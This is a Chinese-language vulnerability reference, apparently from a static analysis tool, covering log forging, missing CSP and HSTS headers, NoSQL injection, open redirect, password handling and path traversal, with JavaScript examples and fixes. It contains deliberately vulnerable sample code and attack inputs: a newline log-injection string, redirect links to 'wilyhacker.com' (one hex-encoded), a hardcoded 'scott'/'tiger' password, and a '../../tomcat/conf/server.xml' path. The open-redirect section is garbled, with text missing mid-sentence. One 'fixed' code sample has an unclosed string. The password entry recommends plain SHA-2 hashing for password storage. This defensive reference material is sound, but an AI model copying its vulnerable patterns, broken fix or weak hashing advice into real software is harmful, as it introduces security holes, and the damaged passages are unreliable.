建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小

返回目录

	范围 格式 预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	None

返回目录

漏洞名称	**Log Forging**
默认严重性	3.0
摘要	X（文件） 文件中的方法 XXX（方法） 将未验证的用户输入写入第 N 行的日志。攻击者可以利用这一行为来伪造日志条目或将恶意内容注入日志。将未经验证的用户输入写入日志文件可致使攻击者伪造日志条目或将恶意信息内容注入日志。

解释	在以下情况下会发生 Log Forging 的漏洞：
	1. 数据从一个不可信赖的数据源进入应用程序。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2. 数据写入到应用程序或系统日志文件中。
	在这种情况下，数据通过 Y（文件）的第 M 行的 YY（函数） 记录下来。
	为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。
	如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。
	示例 1：下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。
	var cp = require('child_process');
	var http = require('http');
	var url = require('url');
	function listener(request, response){
	  var val = url.parse(request.url, true)['query']['val'];
	  if (isNaN(val)){
	  console.log("INFO: Failed to parse val = " + val);
	  }
	  ...
	}
	...
	http.createServer(listener).listen(8080);
	...

返回目录

	如果用户为“val”提交字符串“twenty-one”，则日志中会记录以下条目： INFO: Failed to parse val = twenty-one 然而，如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”，则日志中会记录以下条目： INFO: Failed to parse val=twenty-one INFO: User logged out=badguy 显然，攻击者可以使用同样的机制插入任意日志条目。

建议	使用间接方法防止 Log Forging 攻击：创建一组与不同事件一一对应的合法日志条目，这些条目必须记录在日志中，并且仅记录该组条目。要捕获动态内容（如用户注销系统），请务必使用由服务器控制的数值，而非由用户提供的数据。这就确保了日志条目中绝不会直接使用由用户提供的输入。
	可以按以下方式将例 1 重写为使用预定义的日志条目：
	var cp = require('child_process');
	var http = require('http');
	var url = require('url');
	function listener(request, response){
	var val = url.parse(request.url, true)['query']['val'];
	if (isNaN(val)){
	console.log("INFO: Failed to parse val. Needs to be a number.);
	}
	...
	}
	...
	http.createServer(listener).listen(8080);
	...
	在某些情况下，这个方法有些不切实际，因为这样一组合法的日志条目实在太大或是太复杂了。这种情况下，开发者往往又会退而采用执行拒绝列表方法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。然而，不安全字符列表很快就会不完善或过时。更好的方法是创建一个字符列表，允许其中的字符出现在日志条目中，并且只接受完全由这些经认可的字符组成的输入。在大多数 Log Forging 攻击中，最关键的字符是“\n”换行符，这样的字符决不能出现在日志条目允许列表中。

CWE	CWE ID 117
OWASP2017	A1 Injection

返回目录

漏洞名称	**Log Forging (debug)**
默认严重性	2.0
摘要	X（文件） 文件中的方法 XXX（方法） 将未验证的用户输入写入第 N 行的日志。攻击者可以利用这一行为来伪造日志条目或将恶意内容注入日志。将未经验证的用户输入写入日志文件可致使攻击者伪造日志条目或将恶意信息内容注入日志。

解释	在以下情况下会发生 Log Forging 的漏洞：
	1. 数据从一个不可信赖的数据源进入应用程序。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2. 数据写入到应用程序或系统日志文件中。
	在这种情况下，数据通过 Y（文件）的第 M 行的 YY（函数） 记录下来。
	为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。
	如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。
	示例 1：下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。
	var cp = require('child_process');
	var http = require('http');
	var url = require('url');
	function listener(request, response){
	  var val = url.parse(request.url, true)['query']['val'];
	  if (isNaN(val)){
	  console.error("INFO: Failed to parse val = " + val);
	  }
	  ...
	}
	...
	http.createServer(listener).listen(8080);
	...

返回目录

	如果用户为“val”提交字符串“twenty-one”，则日志中会记录以下条目： INFO: Failed to parse val=twenty-one 然而，如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”，则日志中会记录以下条目： INFO: Failed to parse val=twenty-one INFO: User logged out=badguy 显然，攻击者可以使用同样的机制插入任意日志条目。

建议	使用间接方法防止 Log Forging 攻击：创建一组与不同事件一一对应的合法日志条目，这些条目必须记录在日志中，并且仅记录该组条目。要捕获动态内容（如用户注销系统），请务必使用由服务器控制的数值，而非由用户提供的数据。这就确保了日志条目中绝不会直接使用由用户提供的输入。
	可以按以下方式将例 1 重写为与 NumberFormatException 对应的预定义日志条目：
	var cp = require('child_process');
	var http = require('http');
	var url = require('url');
	function listener(request, response){
	var val = url.parse(request.url, true)['query']['val'];
	if (isNaN(val)){
	console.log("INFO: Failed to parse val. Needs to be a number.);
	}
	...
	}
	...
	http.createServer(listener).listen(8080);
	...
	在某些情况下，这个方法有些不切实际，因为这样一组合法的日志条目实在太大或是太复杂了。这种情况下，开发者往往又会退而采用执行拒绝列表方法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。然而，不安全字符列表很快就会不完善或过时。更好的方法是创建一个字符列表，允许其中的字符出现在日志条目中，并且只接受完全由这些经认可的字符组成的输入。在大多数 Log Forging 攻击中，最关键的字符是“\n”换行符，这样的字符决不能出现在日志条目允许列表中。

CWE	CWE ID 117
OWASP2017	A1 Injection

返回目录

漏洞名称	**Missing CSP Header**
默认严重性	3
摘要	Web 应用程序中未显式定义内容安全策略。
解释	内容安全策略标头要求脚本来源、嵌入的（子）框架、嵌入（父）框架或图像等内容源是当前网页信任和允许的内容来源；如果网页中的内容来源不符合严格的内容安全策略，浏览器会立即拒绝该内容。未定义策略会使应用程序的用户容易受到跨站点脚本 (XSS) 攻击、点击劫持攻击、内容伪造攻击等。 现代浏览器使用内容安全策略标头作为可信任内容来源的指示，这包括媒体、图像、脚本、框架等。如果未明确地定义这些策略，则默认的浏览器行为是允许不可信任的内容。 应用程序创建了 Web 响应，但未正确地设置内容安全策略标头。
建议	根据业务要求和外部文件托管服务的部署布局，为所有适用的策略类型（frame、script、form、script、media、img 等）显式设置内容安全策略标头。特别是不要使用通配符 '*' 来设置这些策略，因为这将允许所有外部来源的内容。 内容安全策略可在 web 应用程序代码中通过 web 服务器配置显式定义，也可在 HTML 的 <head> 部分的 <meta> 标记中定义。
CWE	CWE ID 346
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Missing Encryption of Sensitive Data**
默认严重性	4
摘要	X（文件） 文件第 N 行 XX（元素） 中的敏感数据被 Y（文件） 文件第 M 行的 YY（元素） 保存为明文形式。
解释	未加密的敏感个人信息可能会被有读访权限的攻击者获取到。 明文容器中保存的所有数据都会被有读访问权限的攻击者获取到。因此，静态数据必须加密，例如作为容器内的加密数据加密，或者使用会加密所有内容的加密容器。 在这种情况下，应用程序以纯文本形式保存看似敏感的数据。
建议	一定要在存储前加密敏感数据，或将数据保存在加密容器中。
CWE	CWE ID 311
OWASP2017	None

返回目录

漏洞名称	**Missing HSTS Header**
默认严重性	4
摘要	Web 应用程序未定义 HSTS 标头，使其容易受到攻击。
解释	未设置 HSTS 标头并为其提供至少一年的合理 "max-age" 值可能会使用户容易受到中间人攻击。 很多用户浏览网站时只在地址栏中输入域名，不使用协议前缀。浏览器会自动假定用户的预期协议是 HTTP，而不是加密的 HTTPS 协议。 发出这个初始请求后，攻击者可以执行中间人攻击，通过操作将用户重定向到攻击者选择的恶意网站。为了避免用户受到此类攻击，HTTP 严格传输安全 (HSTS) 标头禁止用户的浏览器使用不安全的 HTTP 连接与 HSTS 标头关联的域。 支持 HSTS 功能的浏览器访问网站并设置标头后，它就不会再允许通过 HTTP 连接与域通信。 为特定网站发布 HSTS 标头后，只要 "max-age" 值仍然适用，浏览器就会禁止用户手动覆盖和接受不可信任的 SSL 证书。推荐的 "max-age" 值为至少一年，即 31536000 秒。
建议	设置 HSTS 标头前 - 先考虑它的意义： 使用 HTTPS 会在将来禁止使用 HTTP，这可能影响部分测试 禁用 HSTS 也不是简单的事，因为如果在网站上禁用，就必须再在浏览器上禁用 在应用程序代码中显式设置 HSTS 标头，或使用 Web 服务器配置。 确保 HSTS 标头的 "max-age" 值设置为 31536000，以保证严格实施 HSTS 至少一年。 加入 "includeSubDomains" 以最大化 HSTS 覆盖范围，并保证当前域下的所有子域强制实施 HSTS 注意这可能会使安全浏览器无法访问使用 HTTP 的任何子域；但是，使用 HTTP 不安全而且非常不建议，即使是没有敏感信息的网站也不应该使用，因为此类网站的内容仍会受到中间人攻击的篡改对 HTTP 域下的用户进行钓鱼攻击。 实施 HSTS 后，将 Web 应用程序的地址提交到 HSTS 预加载列表——这可确保即使客户端是第一次访问 Web 应用程序（即 Web 应用程序尚未设置 HSTS），遵守 HSTS 预加载列表的浏览器仍会将 Web 应用程序视为已经发布了 HSTS 标头。注意这要求服务器有可信任的 SSL 证书，并发布了 maxAge 为 1 年 (31536000) 的 HSTS 标头 注意此查询会为每个应用程序返回一个结果。这意味着如果识别出多个易受攻击的无 HSTS 标头的响应，则仅将第一个已识别实例作为结果。如果发现配置错误的 HSTS 实例（寿命短，或缺少 "includeSubDomains" 标记），该结果就会被标记。因为必须在整个应用程序中实施 HSTS 才能视为 HSTS 功能的安全部署，所以如果只在查询显示此结果的地方修复问题，后续可能还会在应用程序的其他部

返回目录

	分产生问题；所以，通过代码添加此标头时，请确保它在整个应用程序中部署一致。如果通过配置添加此标头，请确保此配置适用于整个应用程序。 请注意配置错误的不含推荐 max-age 值至少一年的 HSTS 标头或 "includeSubDomains" 标记仍会为缺少 HSTS 标头返回结果。
CWE	CWE ID 346
OWASP2017	None

返回目录

漏洞名称	**Missing Root Or Jailbreak Check**
默认严重性	3
摘要	没有保证设备未被篡改的检查。
解释	Root 或越狱的设备容易受到多种形式的攻击，因为应用程序、服务等可能有重要的设备操作权限。这些操作包括直接读写内存、访问整个文件系统等。 虽然设备破解检查并不能提供绝对的安全性，因为恶意应用程序几乎肯定有办法克制此类检查，但仍然建议使用深度防御，以避免应用程序用户在可能受到攻击的设备上使用应用程序，例如虽然设备已被 Root 但尚未受到攻击时。 没有正确的设备 root 检查表明应用程序能在破解的设备上正常运行。
建议	建议在启动时进行检查，以确保设备没有被 Root 或越狱。如果已被 Root，则警告用户，并考虑让用户不要使用应用程序，以避免应用程序泄露敏感信息。
CWE	CWE ID 693
OWASP2017	None

返回目录

漏洞名称	**MongoDB NoSQL Injection**
默认严重性	5
摘要	应用程序依赖 X（文件） 文件第 N 行的 XX（元素） 中提供的用户输入使用 Y（文件） 文件第 M 行的 YY（元素） 构建原始 MongoDB 查询。
解释	MongoDB 是面向文档、基于键值对的数据库，被归类为 NoSQL 数据库。如果在 MongoDB 上执行的查询含有受污染的值，攻击者可以修改原始 MongoDB 查询的语法，然后可以注入任意值、逻辑或 Javascript 代码并在查询的上下文中运行。这种攻击最简单的方式就是注入一个无限循环，例如 while(1)，导致拒绝服务。另一种方式是在查询中添加一个返回语句，导致可以返回任意值。 从广义上来讲，NoSQL 注入可以导致任何意外行为，并可能允许攻击者修改、检索或删除数据库中的任意文档，从而使他们绕过逻辑、检查和权限。 应用程序使用来自不可信任源的受污染值编写原始 MongoDB 查询。这使攻击者能够修改查询语法、注入新语法，从而导致 NoSQL 注入。
建议	一定要使用 Document-Object Mapper 在 MongoDB 中执行 CRUD 操作。Document-Object Mapper 可保证对象与文档配对，并在后台正确地对值进行净化，以保证不会有受污染的值更改 MongoDB 查询的语法。Document-Object Mapper 的使用方式与 SQL 的 ORM 非常相似，即映射数据到对象以及相反使用。 编写原始查询时切勿使用可能污染的输入
CWE	CWE ID 89
OWASP2017	None

返回目录

漏洞名称	**Null Password**
默认严重性	3
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法调用 XX（元素） 函数。但是，代码未检查此函数的返回值，因此无法检测 runtime 错误或其他意外状态。 然后代码将返回的值与 Y（文件） 文件第 M 行的密码 YY（元素）比较。如果返回值为 null，且用户未提供密码，则比较将返回 "true"，尽管用户并未提供密码。
解释	不检查函数返回值的程序可能会导致应用程序进入未定义的状态。这可能导致意外行为和意外后果，包括数据不一致、系统崩溃或其他根据错误发起的攻击。 在这个具体例子中，返回的密码可能为 null，并与可能也是 null 的输入密码比较，虽然没有提供正确的密码，但这种比较结果可能为 true，导致密码验证被绕过。 应用程序调用了一个函数，但未检查函数的返回值的结果。应用程序仅忽略了此结果值，首选认为此结果值是正确的和需要的并使用此结果值或传递此结果值。
建议	一定要检查所有返回值的被调用函数的结果，并验证结果是否为预期值。 确保调用函数响应所有可能的返回值。 预测 runtime 错误并正确地处理它们。显式定义处理意外错误的机制。 执行身份验证检查时，特别是密码，一定要确保密码不是仅与内容相等，也与所需的类型相等。
CWE	CWE ID 259
OWASP2017	None

返回目录

漏洞名称	**Often Misused:Mixing Template Languages**
默认严重性	3.0
摘要	X（文件） 中的方法 XXX（方法） 将应用程序配置为适用于多种模板语言，因此可能让恶意用户能够规避表达式转义，从而引发 cross-site scripting 漏洞。不得混合模板语言，以防止绕过 cross-site scripting 保护。
解释	混合模板引擎时，意味着之前为模板实施的保护可能不再起作用，或不再有效。在危害最轻的情况下，这可能会导致功能无法按预期运行，但还可能会让恶意用户能够规避引擎保护，从而引发 cross-site scripting 漏洞。 示例 1：在以下代码中，将 AngularJS 模块配置为使用“[[”和“]]”作为表达式分隔符，而不是使用默认值。 myModule.config(function($interpolateProvider){ $interpolateProvider.startSymbol('[['); $interpolateProvider.endSymbol(']]'); }); 这可能会导致其他模板引擎执行验证，以转义可能与 AngularJS 表达式不兼容的表达式，因而可能会使用户可以绕过常规验证，在浏览器中运行他们自己的代码。
建议	通常最好完全不要混合模板引擎。如果混合，从开发人员的角度而言，将极难同时保护两种模板引擎，而且强制执行这些验证的模板引擎未考虑一种情况，即您可能会将它们的模板引擎与其他模板引擎同时运行。
CWE	None
OWASP2017	None

返回目录

漏洞名称	**Open Redirect**
默认严重性	4.0
摘要	X（文件） 文件将未验证的数据传递给第 N 行的 HTTP 重定向函数。如果允许未验证的输制所使用的 URL，可能会有利于攻击者发动钓鱼攻击。如果允许未验证的输入控制重定向URL，可能会有利于攻击者发动钓鱼攻击。

解释	通过重定向，Web 应用程序能够引导用户访问同一应用程序内的不同网页或访问外部站点定向来帮助进行站点导航，有时还跟踪用户退出站点的方式。当 Web 应用程序将客户端重控制的任意 URL 时，就会发生 Open redirect 漏洞：
	攻击者可以利用 Open redirect 漏洞诱骗用户访问某个可信赖站点的 URL，并将他们重定向击者通过对 URL 进行编码，使最终用户很难注意到重定向的恶意目标，即使将这一目标作给可信赖的站点时也会发生这种情况。因此，Open redirect 常被作为钓鱼手段的一种而滥种方式来获取最终用户的敏感数据。
	在这种情况下，系统会从 X（文件） 中第 N 行的 XX（函数） 读取客户端即将被重定向数据通过 Y（文件） 的第 M 行中的 YY（函数） 传送。
	示例 1：以下 JavaScript 代码会在用户打开链接时，指示用户浏览器打开从 dest 请求参数
	...
	strDest = form.dest.value;
	window.open(strDest,"myresults");
	...
	如果受害者收到一封电子邮件，指示其打开“http://trusted.example.com/ecommerce/redirect.asp?dest=www.wilyhacker.com”链接，该用该链接，因为他会认为该链接会转到可信赖的站点。然而，当受害者单击该链接时，Examp将浏览器重定向到“http://www.wilyhacker.com”。
	很多用户都被告知，要始终监视通过电子邮件收到的 URL，以确保链接指向一个他们所熟尽管如此，如果攻击者对目标 URL 进行 16 进制编码：
	"http://trusted.example.com/ecommerce/redirect.asp?dest=%77%69%6C%79%68%61%63%6B%65那么，即使再聪明的最终用户也可能会被欺骗，打开该链接。

建议	不应当允许未验证的用户输入控制重定向机制中的目标 URL。而应采用间接方法：创建一个用户可以指定其中的内容，并且只能从中进行选择。利用这种方法，就绝不会直接使用用户要重定向到的 URL。
	示例 2：以下代码引用了一个通过有效 URL 传播的数组。用户单击的链接将通过与所需 U引来传递。
	...
	strDest = form.dest.value;
	if((strDest.value != null)||(strDest.value.length!=0))
	{
	if((strDest >= 0) && (strDest <= strURLArray.length -1))
	{
	strFinalURL = strURLArray[strDest];
	window.open(strFinalURL,"myresults");
	}

返回目录

	} ... 但在某些情况下，这种方法并不可行，因为这样一份合法 URL 列表过于庞大、难以跟踪。 种类似的方法也能限制用于重定向用户的域，这种方法至少可以防止攻击者向用户发送恶意
CWE	CCI-002754
OWASP2017	A10 Unvalidated Redirects and Forwards

返回目录

漏洞名称	**Overly Permissive Cross Origin Resource Sharing Policy**
默认严重性	3
摘要	X（文件） 文件第 N 行上的 XXX（方法） 方法设置了过度宽松的 CORS 访问控制来源标头。
解释	过于宽松的跨域资源共享 (CORS) 标头 "Access-Control-Allow-Origin" 可能会使其他网站的脚本可以访问、甚至篡改受影响的 web 应用程序上的资源。这些资源包括页面内容、Token 等，因此可能受到跨站点请求伪造 (CSRF) 或跨站点脚本 (XSS) 攻击、假冒用户执行操作，如更改密码或违反用户隐私。 默认情况下，现代浏览器会根据同源策略 (SOP) 禁止不同域之间的资源共享访问彼此的 DOM 内容、cookie jar 和其他资源，这是为了避免恶意 Web 应用程序攻击合法的 Web 应用程序及其用户。例如——网站 A 默认无法检索网站 B 的内容，因为这违反了 SOP。使用具体标头定义的跨域资源共享 (CORS) 策略可以放松这个严格的默认行为，允许跨站点通信。但是，如果使用不当，CORS 可能会允许过度地广泛信任 Web 应用程序，使其能够提交请求并获得 Web 应用程序的响应，从而执行意外的或潜在恶意的行为。 代码中的 Access-Control-Allow-Origin 被错误地设置为不安全的值。
建议	如果没有显式要求，请不要设置任何 CORS 标头。如果有需要，请考虑设置这些标头的业务需求，然后选择最严格的配置，例如可信任的白名单、安全和允许的域访问，同时使用其他 CORS 标头严格地提供所需的和预期的功能。
CWE	CWE ID 346
OWASP2017	None

返回目录

漏洞名称	**Parameter Tampering**
默认严重性	4
摘要	在 Y（文件） 文件第 M 行选择数据 YY（元素） 时，应用程序使用 X（文件） 文件第 N 行 XX（元素） 中的值作为限定参数。但是，所用的值可能会被通过用户输入篡改，使攻击者可能绕过访问控制以检索或影响选择的数据。
解释	根据实现方式，参数篡改攻击可能会通过暴露、更改或创建新数据影响保密性、完整性和可用性。具体取决于易受攻击的数据访问方法。 应用程序尝试根据值动态选择要检索或更改的数据；但是，此值是可变的，可能被攻击者操纵，允许攻击者提供不同的值，可能会访问攻击者的权限范围之外的数据。如果该数据或其相关功能是需要授权的，就可能会绕过此授权。 例如——考虑一个带用户配置文件的应用程序，更改电子邮件会提交参数 "userId" 和 "newEmail"。攻击者可以将 userId 替换为另一个用户的 ID 而不是攻击者自己的，然后使用“忘记密码”功能将账户恢复电子邮件发送到攻击者的邮箱，从而劫持该用户的账户。会发生这种情况是因为，在此例中，"userId" 是从用户输入中推导的（例如 POST 参数、GET 查询参数或 cookie），而不是服务器设置的可信任的源（例如，会话变量）。
建议	对动态数据执行任何授权 CRUD 操作时——一定要判断用户执行这些操作的授权 切勿依赖用户提供的值确定用户权限——应在成功验证身份后由服务器决定权限
CWE	CWE ID 472
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Password Management**
默认严重性	3.0
摘要	X（文件） 中的 XXX（方法） 方法在第 N 行使用明文密码。采用明文的形式存储密码会危及系统安全。采用明文的形式存储密码会危及系统安全。

解释	当密码以明文形式存储在应用程序中时，会发生 password management 漏洞。
	在这种情况下，密码会通过 X（文件） 中第 N 行的 XX（函数） 读取到程序中，并用于访问 Y（文件） 中第 M 行的 YY（函数） 资源。
	示例：以下代码使用 hardcoded password 来连接应用程序和检索地址簿条目：
	...
	obj = new XMLHttpRequest();
	
	obj.open('GET','/fetchusers.jsp?id='+form.id.value,'true','scott','tiger');
	...
	该代码会正常运行，但是任何能够访问其中所包含的网页的人都能得到这个密码。

建议	绝不能采用明文的形式存储密码。应由管理员在系统启动时输入密码。如果这种方法不切实际，一个安全性较差、但通常都比较恰当的解决办法是将密码模糊化，并把这些去模糊化的资源分散到系统各处，因此，要破译密码，攻击者就必须取得并正确合并多个系统资源。 有些第三方产品宣称可以采用更加安全的方式管理密码。例如，WebSphere Application Server 4.x 用简单的异或加密算法加密数值，但是请不要对诸如此类的加密方式给予完全的信任。WebSphere 以及其他一些应用服务器通常都只提供过期的且相对较弱的加密机制，这对于安全性敏感的环境来说是远远不够的。安全的做法来是采用由用户创建的所有者机制，而这似乎也是目前唯一可行的方法。
CWE	CWE ID 256
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Empty Password**
默认严重性	3.0
摘要	Empty password 可能会危及系统安全，并且无法轻易修正出现的安全问题。

解释	使用空密码绝非好方法。一旦代码投入使用，解决这一问题将变得极其困难。除非对软件进行修补，否则将无法更改密码。如果受空密码保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。
	在这种情况下，密码用于访问 X（文件）中第 N 行的 YY（函数）资源。
	示例：以下代码使用 empty password 来连接应用程序和检索地址簿条目：
	...
	obj = new XMLHttpRequest();
	obj.open('GET','/fetchusers.jsp?id='+form.id.value,'true','scott','');
	...
	这些代码将成功运行，但任何人员在知道用户名后均可进行访问。

建议	密码始终不能为空。一般来说，应对密码加以模糊化，并在外部资源中进行管理。如果将密码以明文形式存储在网站中任意位置，会造成任何有充分权限的人读取和无意中误用密码。对于需要输入密码的 JavaScript 引用，最好在连接时就提示用户输入密码。
CWE	CWE ID 259
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Hardcoded Password**
默认严重性	3.0
摘要	Hardcoded password 可能会削弱系统安全性，一旦出现安全问题将无法轻易修正。

解释	使用硬编码方式处理密码绝非好方法。这不仅是因为所有项目开发人员都可以使用通过硬编码方式处理的密码，而且还会使解决这一问题变得极其困难。在代码投入使用之后，除非对软件进行修补，否则将无法更改密码。如果受密码保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。
	在这种情况下，密码用于访问 X（文件）中第 N 行的 YY（函数）资源。
	示例：以下代码使用 hardcoded password 来连接应用程序和检索地址簿条目：
	...
	obj = new XMLHttpRequest();
	obj.open('GET','/fetchusers.jsp?id='+form.id.value,'true','scott','tiger');
	...
	该代码会正常运行，但是任何能够访问其中所包含的网页的人都能得到这个密码。

建议	绝不能对密码进行硬编码。通常情况下，应对密码加以模糊化，并在外部资源文件中进行管理。如果将密码以明文形式存储在网站中任意位置，会造成任何有充分权限的人读取和无意中误用密码。对于需要输入密码的 JavaScript 引用，最好在连接时就提示用户输入密码。
CWE	CWE ID 259, CWE ID 798
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Null Password**
默认严重性	3.0
摘要	Null password 可导致代码混乱。

解释	使用 null 密码绝非好方法。
	
	在这种情况下，在对 X（文件） 第 N 行的 YY（函数） 的调用中会发现 null 密码。
	示例：以下代码最初会将密码设置为 null：
	...
	var password=null;
	...
	{
	password=getPassword(user_data);
	...
	}
	...
	if(password==null){
	// Assumption that the get didn't work
	...
	}
	...

建议	为避免混乱，应当立即为秘码变量指定正确的变量。
CWE	CWE ID 259
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Password in Comment**
默认严重性	2.0
摘要	以明文形式在系统或系统代码中存储密码或密码详细信息可能会以无法轻松修复的方式危及系统安全。

解释	使用硬编码方式处理密码绝非好方法。在注释中存储密码详细信息等同于对密码进行硬编码。这不仅会使所有项目开发人员都可以查看密码，而且还会使解决这一问题变得极其困难。在代码投入使用之后，密码便会外泄，除非对软件进行修补，否则将无法保护或更改密码。如果受密码保护的帐户遭受入侵，系统所有者将必须在安全性和可用性之间做出选择。
	在这种情况下，密码详细信息显示在 X（文件）中第 N 行的注释中。
	示例：以下注释指定连接到数据库的默认密码：
	...
	// Default username for database connection is "scott"
	// Default password for database connection is "tiger"
	...
	该代码可以正常运行，但是有权访问该代码的任何人都能得到这个密码。一旦程序发布，除非修补该程序，否则可能无法更改数据库用户“scott”和密码“tiger”。雇员可以利用手中掌握的信息访问权限入侵系统。

建议	绝不能对密码进行硬编码。通常情况下，应对密码加以模糊化，并在外部资源文件中进行管理。在系统中采用明文的形式存储密码，会造成任何有充分权限的人读取和无意中误用密码。
CWE	CWE ID 615
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Management:Weak Cryptography**
默认严重性	3.0
摘要	调用 X（函数） 给密码加密并不能提供任何意义上的保护。采用普通的编码方式给密码加密并不能有效地保护密码。

解释	当密码以明文形式存储在应用程序的属性文件或其他配置文件中时，会发生 password management 漏洞。程序员试图通过编码函数来遮蔽密码，以修补 password management 漏洞，例如使用 64 位基址编码方式，但都不能起到充分保护密码的作用。
	在这种情况下，密码会通过 X（文件） 中第 N 行的 XX（函数） 读取到程序中，并用于访问 Y（文件） 中第 M 行的 YY（函数） 资源。
	示例：以下代码使用 hardcoded password 来连接应用程序和检索地址簿条目：
	...
	obj = new XMLHttpRequest();
	obj.open('GET','/fetchusers.jsp?id='+form.id.value,'true','scott','tiger');
	...
	该代码会正常运行，但是任何能够访问其中所包含的网页的人都能得到这个密码。

建议	绝不能采用明文的形式存储密码。应由管理员在系统启动时输入密码。如果这种方法不切实际，一个安全性较差、但通常都比较恰当的解决办法是将密码模糊化，并把这些去模糊化的资源分散到系统各处，因此，要破译密码，攻击者就必须取得并正确合并多个系统资源。 有些第三方产品宣称可以采用更加安全的方式管理密码。例如，WebSphere Application Server 4.x 用简单的异或加密算法加密数值，但是请不要对诸如此类的加密方式给予完全的信任。WebSphere 以及其他一些应用服务器通常都只提供过期的且相对较弱的加密机制，这对于安全性敏感的环境来说是远远不够的。较为安全的解决方法来是采用由用户创建的所有者机制，而这似乎也是如今唯一可行的方法。
CWE	CWE ID 261
OWASP2017	A3 Sensitive Data Exposure

返回目录

漏洞名称	**Password Weak Encryption**
默认严重性	3
摘要	X（文件） 文件第 N 行的密码 XX（元素） 被 Y（文件） 文件第 M 行的 YY（元素） 使用，但未使用安全加密算法加密。
解释	保存在弱容器中的密码，例如弱加密，弱 hash，或可能被攻击者检索的任何编码形式。 一个密码被用于数据库上下文，表示此密码已被插入或被用于筛选结果。但是，此密码未使用强加密形式，仅显式使用了无法安全地保存敏感数据（例如密码）的容器。不安全的容器会使密码被检索到： 弱加密算法可能会被暴力破解或者有密码加密漏洞 弱散列算法虽然通常在数学上是不可逆的，但可以使用彩虹表轻松将其映射到散列之前的原始值或与该散列冲突的值 编码使用解码总是轻松可逆的
建议	切勿使用编码代替合适的密码加密 切勿为密码存储使用加密，除非明确需要检索密码 将所有 hash 函数更新为密码加密的安全方式，例如： BLAKE2B（现代，在软件中速度快，对长度扩展攻击安全） SHA-2 系列散列 (SHA-256,SHA-384,SHA-512)
CWE	CWE ID 261
OWASP2017	None

返回目录

漏洞名称	**Path Manipulation**
默认严重性	3.0
摘要	攻击者可以控制 X（文件） 中第 N 行的 X（函数） 文件系统路径参数，借此访问或修改原本受保护的文件。允许用户输入控制文件系统操作所用的路径会导致攻击者能够访问或修改其他受保护的系统资源。

解释	当满足以下两个条件时，就会产生 path manipulation 错误：
	1.攻击者能够指定某一文件系统操作中所使用的路径。
	2. 攻击者可以通过指定特定资源来获取某种权限，而这种权限在一般情况下是不可能获得的。
	例如，在某一程序中，攻击者可以获得特定的权限，以重写指定的文件或是在其控制的配置环境下运行程序。
	在这种情况下，攻击者可以指定通过 X（文件） 中第 N 行的 XX（函数） 进入程序的值，这一数值可以通过 Y（文件） 中第 M 行的 YY（函数） 访问文件系统资源。
	示例 1：以下代码使用来自于 HTTP 请求的输入来创建一个文件名。程序员没有考虑到攻击者可能使用像“../../tomcat/conf/server.xml”一样的文件名，从而导致应用程序删除它自己的配置文件。
	...
	var reportNameParam = "reportName=";
	var reportIndex = document.indexOf(reportNameParam);
